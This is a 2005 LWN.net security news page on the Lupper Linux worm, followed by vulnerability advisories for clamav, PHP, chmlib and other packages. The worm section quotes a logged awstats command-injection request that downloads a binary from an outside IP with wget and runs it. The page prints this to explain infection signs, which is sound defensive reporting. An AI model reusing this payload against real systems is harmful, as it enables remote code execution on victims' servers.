Security
The Lupper worm
Security companies and Linux critics worldwide have been happy to proclaim the existence of the "Lupper" worm, the first Linux-based worm to hit the net in years. This worm gets into systems by way of the various PHP XML-RPC vulnerabilities which have been reported (and fixed) over the last year. Infected systems, apparently, become part of a distributed bot net, waiting for somebody to tell them what to do.According to McAfee's Lupper page, there are a couple of signs of infection: processes listening on UDP ports 7111 and 7222, and a /tmp/lupii file. Attempted infections can be seen in the web server logs; they look something like either of following:
GET /awstats/awstats.pl?configdir=|echo;echo YYY; \
cd /tmp;wget 24.224.174.18/listen;chmod +x listen; \
./listen 216.102.212.115;echo YYY;echo|
POST /drupal/xmlrpc.php
(The first line has been broken up, and %-escapes have been replaced for readability).
The above lines were taken directly from the LWN.net server log. Thus far, our server has bravely fended off Lupper attacks from all of five different sources. So it looks like the attack of the Lupper worm is unlikely to bring down the net as a whole.
In fact, it would be easy to write off this worm altogether. It attacks vulnerabilities which few systems had in the first place. Said vulnerabilities were disclosed - and fixed - months ago. Even Fedora Legacy - which has not produced an update since September 15 - managed to get a fix out for this problem. Any system whose administrator applies security updates will not have been affected by this particular worm. Most administrators need not go into red-alert status over this one.
That said, it behooves us to notice that Lupper is, indeed, a Linux worm propagating in the wild. Any of us who feel that, because we are running Linux, we are immune from worms and other such annoyances have just received a gentle warning. Someday, somebody will write a worm which exploits a vulnerability which is widespread and which has not been known for months. Indeed, they might happen upon a hole which has not been disclosed at all. On that day, we may all find ourselves feeling rather less smug.
Brief items
Remote vulnerability in clamav
For those of you running clamav on your mail streams: a remote code execution vulnerability has been disclosed in this package. Exploits in the near future would not be a surprising development. Upgrade to version 0.87.1 for the fix, or apply the distributor updates sure to come soon. Click below for the advisory.
New vulnerabilities
chmlib: several vulnerabilities
| Package(s): | chmlib | CVE #(s): | CVE-2005-2659 CVE-2005-2930 CVE-2005-3318 | ||||||||
| Created: | November 7, 2005 | Updated: | November 28, 2005 | ||||||||
| Description: | Several vulnerabilities have been discovered in chmlib, a library for dealing with CHM format files. | ||||||||||
| Alerts: |
| ||||||||||
clamav: multiple vulnerabilities
| Package(s): | clamav | CVE #(s): | CVE-2005-3239 CVE-2005-3500 CVE-2005-3501 CVE-2005-3303 | ||||||||||||||||
| Created: | November 7, 2005 | Updated: | November 9, 2005 | ||||||||||||||||
| Description: | Multiple security holes were found in clamav that may allow attackers to cause a denial of service, memory corruption and execution of arbitrary code. | ||||||||||||||||||
| Alerts: |
| ||||||||||||||||||
gpsdrive: format string vulnerability
| Package(s): | gpsdrive | CVE #(s): | CVE-2005-3523 | ||||
| Created: | November 9, 2005 | Updated: | November 9, 2005 | ||||
| Description: | The gpsdrive navigation system contains a format string vulnerability which could be exploited to execute arbitrary code. | ||||||
| Alerts: |
| ||||||
horde3: design error
| Package(s): | horde3 | CVE #(s): | CVE-2005-3344 | ||||
| Created: | November 7, 2005 | Updated: | November 9, 2005 | ||||
| Description: | Mike O'Connor discovered that the default installation of Horde3 on Debian includes an administrator account without a password. Already configured installations will not be altered by this update. | ||||||
| Alerts: |
| ||||||
libungif: memory corruption
| Package(s): | libungif | CVE #(s): | CAN-2005-2974 | ||||||||||||||||||||||||||||||||||||
| Created: | November 3, 2005 | Updated: | March 20, 2006 | ||||||||||||||||||||||||||||||||||||
| Description: | The libungif library has a vulnerability in the GIF file colormap handling code. A maliciously crafted GIF file can cause out of bounds memory writing and register corruption. | ||||||||||||||||||||||||||||||||||||||
| Alerts: |
| ||||||||||||||||||||||||||||||||||||||
php: multiple vulnerabilities
| Package(s): | php | CVE #(s): | CVE-2005-3390 CVE-2005-3389 CVE-2005-3388 CVE-2005-3353 | ||||||||||||||||||||||||||||||||||||||||||||
| Created: | November 8, 2005 | Updated: | December 23, 2005 | ||||||||||||||||||||||||||||||||||||||||||||
| Description: | There are multiple vulnerabilities in PHP, including malicious requests may overwrite the GLOBALS array, the parse_str() function may enable the register_globals setting, cross-site scripting bugs in phpinfo() and a bug in EXIF image parsing that may crash the process. | ||||||||||||||||||||||||||||||||||||||||||||||
| Alerts: |
| ||||||||||||||||||||||||||||||||||||||||||||||
pwdutils: privilege escalation
| Package(s): | pwdutils shadow | CVE #(s): | |||||
| Created: | November 4, 2005 | Updated: | November 9, 2005 | ||||
| Description: | Thomas Gerisch found that the setuid 'chfn' program contained in the pwdutils suite insufficiently checks it's arguments when changing the GECOS field. This bug leads to a trivially exploitable local privilege escalation that allows users to gain root access. | ||||||
| Alerts: |
| ||||||
spamassassin: denial of service
| Package(s): | spamassassin | CVE #(s): | CVE-2005-3351 | ||||||||||||||||
| Created: | November 9, 2005 | Updated: | March 7, 2006 | ||||||||||||||||
| Description: | Spamassassin through version 3.0.4 can be made to dump core if a message arrives with too many addresses in the To: field. | ||||||||||||||||||
| Alerts: |
| ||||||||||||||||||
sylpheed: buffer overflow
| Package(s): | sylpheed | CVE #(s): | CVE-2005-3354 | ||||||||||||||||
| Created: | November 9, 2005 | Updated: | January 6, 2006 | ||||||||||||||||
| Description: | The sylpheed mail client, prior to versions 1.0.6 and 2.0.4, contains a buffer overflow in the LDIF address book import code. | ||||||||||||||||||
| Alerts: |
| ||||||||||||||||||
thttpd: insecure temp file
| Package(s): | thttpd | CVE #(s): | CVE-2005-3124 | ||||
| Created: | November 4, 2005 | Updated: | November 9, 2005 | ||||
| Description: | Javier Fernández-Sanguino Peña from the Debian Security Audit team discovered that the syslogtocern script from thttpd, a tiny webserver, uses a temporary file insecurely, allowing a local attacker to craft a symlink attack to overwrite arbitrary files. | ||||||
| Alerts: |
| ||||||
Events
LayerOne 2006 CFP Released
LayerOne is a security conference held in the Los Angeles, California area. The call for papers is out now, with submissions due by March 31. Click below for the full announcement.
Page editor: Jonathan Corbet
Next page:
Kernel development>>